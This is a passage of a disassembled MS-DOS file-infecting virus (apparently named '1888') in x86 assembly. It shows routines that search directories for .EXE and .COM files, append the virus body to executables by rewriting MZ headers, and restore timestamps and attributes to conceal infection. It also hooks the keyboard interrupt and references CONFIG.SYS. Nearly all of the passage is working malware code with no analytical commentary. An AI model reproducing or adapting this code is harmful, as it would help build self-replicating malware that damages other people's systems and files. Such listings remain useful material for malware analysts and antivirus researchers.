- loc_05BD:
- call sub_037D
- retn
- sub_0525 endp
-
- data_05C1 db 43h
- db 3Ah, 5Ch,0FFh,0FFh, 00h
- data_05C7 db 'C:\CONFIG.SYS', 0
- data_05D5 db 'DEVICE ='
- db 0FFh,0FFh
- db ' COUNTRY.SYS', 0Dh, 0Ah
- db 1Ah
- data_05EE db 0FFh
- db 0FFh,0FFh,0FFh, 40h,0C8h, 16h
- db 00h, 21h, 00h
- db 'hgt42 '
- db 00h, 00h, 00h, 00h, 2Eh, 89h
- db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
- db 14h, 00h,0CBh, 1Eh, 06h, 0Eh
- db 1Fh,0C4h, 3Eh, 12h, 00h, 26h
- db 8Ah, 45h, 02h, 3Ch, 00h, 75h
- db 03h,0E8h, 82h, 00h
- db 0Dh, 00h, 10h, 26h, 89h, 45h
- db 03h, 07h, 1Fh,0CBh, 50h, 53h
- db 51h, 1Eh
- db 0E4h, 60h,0A8h, 80h, 75h, 30h
- db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
- db 0C7h, 75h, 27h,0B8h, 40h, 00h
- db 8Eh,0D8h,0E8h, 28h, 00h, 25h
- db 05h, 00h, 8Bh,0C8h
- db 0BBh, 1Ch, 00h
-
- locloop_064F:
- mov ax,cs:data_00A9_e
- mov [bx],ax
- add bx,2
- cmp bx,3Fh
- jb loc_0660 ; Jump if below
- mov bx,1Eh
- loc_0660:
- mov word ptr ds:[1Ch],bx
- loop locloop_064F ; Loop if cx > 0
-
- loc_0666:
- pop ds
- pop cx
- pop bx
- pop ax
- jmp dword ptr cs:data_00A3_e
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_066F proc near
- mov ax,cs:data_00A7_e
- push ax
- and ah,0B4h
- pop ax
- jp loc_067B ; Jump if parity=1
- stc ; Set carry flag
- loc_067B:
- rcl ax,1 ; Rotate thru carry
- mov cs:data_00A7_e,ax
- retn
- sub_066F endp
-
- db 'hgt42 '
- db 00h, 56h, 31h, 00h, 46h, 52h
- db 44h, 00h, 00h, 00h, 00h, 00h
- db 00h, 65h, 12h, 65h, 73h, 74h
- db 6Eh, 12h, 1Fh, 14h, 31h,0CDh
- db 0ABh,0EFh
- db 06h, 57h,0B4h, 2Ah,0CDh, 21h
- db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
- db 74h, 03h, 80h,0C4h
- db 0Ch
- loc_06B5:
- sub ah,ds:data_00B5_e
- cmp ah,3
- jb loc_06FB ; Jump if below
- mov ds:data_00B5_e,dh
- mov ds:data_00B3_e,cx
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dx=sec
- mov ds:data_00A7_e,dx
- call sub_066F
- mov bx,ax
- and bx,3
- nop ;*ASM fixup - sign extn byte
- mov al,ds:data_00AB_e[bx]
- mov ah,ds:data_00AF_e[bx]
- mov ds:data_00A9_e,ax
- mov ax,3516h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_00A3_e,bx
- mov bx,es
- mov word ptr ds:data_00A3_e+2,bx
- cli ; Disable interrupts
- ;* mov dx,offset loc_003E ;*
- db 0BAh, 3Eh, 00h
- mov ax,2516h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- sti ; Enable interrupts
- loc_06FB:
- pop di
- pop es
- mov word ptr es:[di+0Eh],0B6h
- mov es:[di+10h],cs
- xor ax,ax ; Zero register
- retn
- data_070A dw 11Ch
- data_070C db 8Bh
- db 1Eh, 28h, 01h,0A1h, 26h, 01h
- db 8Eh,0D0h, 8Bh, 26h, 24h, 01h
- dw 0EC83h, 8B04h
- dw 80F4h, 1F3Eh
- dw 1, 2875h
- dw 0BFh, 3601h
- dw 3C89h, 0FB8Bh
- dw 8936h, 27Ch
- dw 0FF33h, 8936h
- dw 47Ch, 0BFh
- dw 8B01h, 2236h
- dw 301h, 8BF7h
- dw 1C0Eh, 8C01h
- dw 8ED8h, 0F3C0h
- dw 0EBA4h, 9016h
- db 8Bh,0FBh, 83h,0C7h, 10h,0A1h
- db 16h, 00h, 03h,0F8h, 36h, 89h
- db 7Ch, 02h, 8Bh, 3Eh, 14h, 00h
- db 36h, 89h
- db 3Ch
- db 8Eh,0DBh, 8Eh,0C3h,0CBh
- loc_0767:
- mov ax,ss
- mov cs:data_0126,ax
- mov cs:data_0124,sp
- mov ax,cs
- mov ss,ax
- mov sp,1F7h
- push ds
- mov ds,ax
- pop ax
- mov data_0128,ax
- call sub_0269
- mov ax,cs
- mov es,ax
- call sub_01F7
- mov dx,offset data_019D
- mov ah,1Ah
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- call sub_02AF
- call sub_02A5
- jnc loc_079C ; Jump if carry=0
- jmp loc_083A
- loc_079C:
- call sub_0227
- jc loc_07A4 ; Jump if carry Set
- jmp loc_083A
- loc_07A4:
- call sub_023A
- call sub_02D0
- mov data_011E,0
- loc_07AF:
- call sub_0355
- jc loc_0800 ; Jump if carry Set
- loc_07B4:
- cmp data_019C,4
- ja loc_083A ; Jump if above
- call sub_036C
- call sub_034D
- jnc loc_07FA ; Jump if carry=0
- cmp data_010A,4
- ja loc_07FA ; Jump if above
- call sub_03A6
- jc loc_083A ; Jump if carry Set
- cmp data_011E,0
- je loc_07DB ; Jump if equal
- call sub_03BB
- jmp short loc_07DE
- loc_07DB:
- call sub_0472
- loc_07DE:
- call sub_037D
- jc loc_083A ; Jump if carry Set
- inc data_019C
- cmp data_019B,1
- je loc_07FA ; Jump if equal
- call sub_04DE
- jz loc_07FA ; Jump if zero
- call sub_0525
- jc loc_083A ; Jump if carry Set
- jmp short loc_07AF
- loc_07FA:
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jnc loc_07B4 ; Jump if carry=0
- loc_0800:
- cmp data_011E,1
- je loc_080E ; Jump if equal
- mov data_011E,1
- jmp short loc_07AF
- loc_080E:
- mov data_011E,0
- cmp data_019A,0
- jne loc_0829 ; Jump if not equal
- lea dx,data_015A ; ('C:\') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov data_019A,0FFh
- jmp short loc_07AF
- loc_0829:
- cmp data_0182,0
- je loc_083A ; Jump if equal
- call sub_0328
- dec data_0182
- jmp loc_07AF
- loc_083A:
- lea dx,data_013A ; ('\DANGER\1888') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- call sub_04DE
- jz loc_084A ; Jump if zero
- call sub_04EE
- loc_084A:
- mov ax,word ptr data_012C+2
- mov es,ax
- mov cx,5Bh
- mov si,offset data_070C
- xor di,di ; Zero register
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- call sub_028C
- call data_012C
- int 20h ; DOS program terminate
- db 0E9h, 64h, 06h, 20h,0A4h, 86h
- db 0FCh, 18h, 02h, 00h, 00h, 00h
- db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h
- db 20h, 20h, 4Dh, 00h, 00h, 00h
- db 0A6h, 24h, 00h, 00h, 60h, 07h
- db 00h, 00h, 60h, 07h, 60h, 07h
- db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh
- db 94h, 92h, 00h, 00h, 01h, 9Eh
- db 0C8h, 07h, 07h, 1Ch, 02h, 10h
- db 00h, 00h, 00h, 00h, 5Ch, 00h
- db 4Fh, 53h, 53h, 49h, 00h, 45h
- db 4Eh, 00h
- db 53h, 54h
- db 20 dup (0)
- db 'C:\', 0
- db '*', 0
- db 'NETWARE', 0
- db 'LMS', 0
- db 'MAUS', 0
- db 'MDB', 0
- db 'DOS', 0
- db 'BASE', 0
- db 'L', 0
- db '`'
- db 01h, 00h, 01h, 14h, 17h, 6Eh
- db 00h, 01h,0A9h, 00h, 01h,0BFh
- db 38h, 2Ah, 2Eh, 65h, 78h, 65h
- db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
- db 00h, 00h, 00h, 04h, 01h
- db 3Fh
- db 7 dup (3Fh)
- db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h
- db 00h, 00h, 31h,0C0h, 50h, 9Ah
- db 20h,0A4h, 86h,0FCh, 18h, 02h
- db 00h, 00h, 00h, 31h, 2Eh, 43h
- db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh
- db 00h, 00h, 00h,0A6h,0EAh,0AAh
- db 03h, 00h,0CCh,0AAh, 03h, 00h
- db 00h, 31h, 31h, 00h, 40h, 48h
- db 07h, 00h, 40h, 6Ch, 15h, 6Ch
- db 15h, 00h, 40h, 05h, 00h, 60h
- db 07h, 00h, 01h,0C8h, 01h, 19h
- db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch
- db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h
- db 72h,0DEh, 07h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0959 proc near
- cmp data_011C,0
- jne loc_0969 ; Jump if not equal
- mov ax,760h
- mov data_011C,ax
- mov data_0120,ax
- loc_0969:
- mov al,data_011E
- mov data_011F,al
- mov ax,data_0120
- mov data_0122,ax
- inc data_0119
- mov data_019C,0
- mov data_019A,0
- mov data_019B,0
- retn
- sub_0959 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0989 proc near
- lea dx,data_0183 ; Load effective addr
- xor al,al ; Zero register
- mov ah,3Dh ; '='
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- jc loc_ret_099B ; Jump if carry Set
- mov bx,ax
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
-
- loc_ret_099B:
- retn
- sub_0989 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_099C proc near
- mov ah,2Ah ; '*'
- int 21h ; DOS Services ah=function 2Ah
- ; get date, cx=year, dh=month
- ; dl=day, al=day-of-week 0=SUN
- mov ah,dh
- cmp cx,data_0130
- je loc_09AB ; Jump if equal
- add ah,0Ch
- loc_09AB:
- sub ah,data_0132
- mov data_011B,ah
- mov data_0134,al
- mov data_0133,dl
- mov data_0132,dh
- mov data_0130,cx
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dx=sec
- mov data_0135,ch
- retn
- sub_099C endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_09CB proc near
- mov ax,es
- dec ax
- push es
- mov es,ax
- mov ax,es:d_8B38_0003_e
- mov data_012A,ax
- pop es
- mov bx,ax
- sub bx,200h
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change memory allocation
- ; bx=bytes/16, es=mem segment
- mov bx,150h
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- mov word ptr data_012C+2,ax
- retn
- sub_09CB endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_09EE proc near
- push es
- mov ax,word ptr data_012C+2
- mov es,ax
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- mov ax,data_0128
- mov es,ax
- mov bx,data_012A
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change memory allocation
- ; bx=bytes/16, es=mem segment
- pop es
- retn
- sub_09EE endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0A07 proc near
- push ds
- mov ah,1Bh
- int 21h ; DOS Services ah=function 1Bh
- ; get disk info, default drive
- ; al=sectors per cluster
- ; ds:bx=ptr to media ID byte
- ; cx=sector size, dx=clusters
- cmp byte ptr [bx],0F8h
- pop ds
- retn
- sub_0A07 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0A11 proc near
- lea si,data_019D ; Load effective addr
- mov di,si
- xor dl,dl ; Zero register
- mov ah,47h ; 'G'
- int 21h ; DOS Services ah=function 47h
- ; get present dir,drive dl,1=a:
- ; ds:si=ASCIIZ directory name
- mov cx,30h
- mov al,0
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov cx,di
- sub cx,si
- lea di,data_013A ; ('\DANGER\1888') Load effective addr
- mov al,5Ch ; '\'
- stosb ; Store al to es:[di]
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- retn
- sub_0A11 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0A32 proc near
- mov data_0182,0
- lea bx,cs:[160h] ; Load effective addr
- add bx,20h
- mov data_0180,bx
- sub bx,20h
- lea dx,data_015A+4 ; ('*') Load effective addr
- mov cx,33h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_0A81 ; Jump if carry Set
- loc_0A52:
- lea di,data_019D ; Load effective addr
- add di,1Eh
- cmp byte ptr [di],2Eh ; '.'
- je loc_0A7B ; Jump if equal
- mov si,di
- mov cx,20h
- mov al,0
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov cx,di
- sub cx,si
- mov di,bx
- add bx,cx
- cmp bx,data_0180
- ja loc_0A81 ; Jump if above
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- inc data_0182
- loc_0A7B:
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jnc loc_0A52 ; Jump if carry=0
- loc_0A81:
- lea bx,cs:[160h] ; Load effective addr
- mov data_0180,bx
- retn
- sub_0A32 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0A8A proc near
- cmp data_0182,0
- je loc_ret_0AAE ; Jump if equal
- lea dx,data_013A ; ('\DANGER\1888') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov dx,data_0180
- mov di,dx
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov al,0
- mov cx,20h
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov data_0180,di
-
- loc_ret_0AAE:
- retn
- sub_0A8A endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0AAF proc near
- mov ax,data_0104
- and al,1Fh
- cmp al,1Eh
- retn
- sub_0AAF endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0AB7 proc near
- lea dx,data_0194 ; Load effective addr
- cmp data_011E,0
- je loc_0AC6 ; Jump if equal
- lea dx,data_018E ; Load effective addr
- loc_0AC6:
- mov cx,23h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- retn
- sub_0AB7 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0ACE proc near
- lea si,data_019D ; Load effective addr
- add si,15h
- lea di,data_0103 ; Load effective addr
- mov cx,16h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- retn
- sub_0ACE endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0ADF proc near
- pushf ; Push flags
- mov cx,data_0104
- or cl,1Fh
- and cl,0FEh
- mov dx,data_0106
- mov ax,5701h
- int 21h ; DOS Services ah=function 57h
- ; set file date+time, bx=handle
- ; cx=time, dx=time
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- lea dx,data_010C ; ('1888.COM') Load effective addr
- xor ch,ch ; Zero register
- mov cl,data_0103
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- popf ; Pop flags
- retn
- sub_0ADF endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0B08 proc near
- lea dx,data_010C ; ('1888.COM') Load effective addr
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- jc loc_ret_0B1C ; Jump if carry Set
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
-
- loc_ret_0B1C:
- retn
- sub_0B08 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0B1D proc near
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- mov cx,100h
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- cmp word ptr ds:d_9E01_0000_e,5A4Dh
- nop ;*ASM fixup - sign extn byte
- je loc_0B38 ; Jump if equal
- stc ; Set carry flag
- jmp loc_0BB7
- loc_0B38:
- call sub_0BB9
- push ax
- mov ax,di
- and ax,0Fh
- mov cx,10h
- xor dx,dx ; Zero register
- sub cx,ax
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jnc loc_0B51 ; Jump if carry=0
- jmp short loc_0BB7
- db 90h
- loc_0B51:
- mov si,ax
- mov cx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jc loc_0BB7 ; Jump if carry Set
- pop dx
- mov ax,di
- add ax,si
- add ax,100h
- cmp ax,200h
- jb loc_0B6D ; Jump if below
- and ax,1FFh
- inc dx
- loc_0B6D:
- mov cl,4
- shr ax,cl ; Shift w/zeros fill
- dec dx
- mov cl,5
- shl dx,cl ; Shift w/zeros fill
- sub dx,ds:d_9E01_0008_e
- add ax,dx
- sub ax,10h
- mov ds:d_9E01_0016_e,ax
- mov word ptr ds:d_9E01_0014_e,100h
- push ds
- mov ax,cs
- mov ds,ax
- mov cx,data_011C
- mov dx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- pop ds
- jc loc_0BB7 ; Jump if carry Set
- call sub_0BB9
- mov ds:d_9E01_0002_e,di
- mov ds:d_9E01_0004_e,ax
- mov ax,4200h
- xor dx,dx ; Zero register
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_0BB7 ; Jump if carry Set
- mov cx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- loc_0BB7:
- pop ds
- retn
- sub_0B1D endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0BB9 proc near
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- mov di,ax
- and di,1FFh
- mov cl,9
- shr ax,cl ; Shift w/zeros fill
- mov cl,7
- shl dx,cl ; Shift w/zeros fill
- add ax,dx
- inc ax
- retn
- sub_0BB9 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0BD4 proc near
- mov ax,data_0108
- mov data_0120,ax
- mov cx,data_011C
- cmp cx,ax
- jb loc_0BEA ; Jump if below
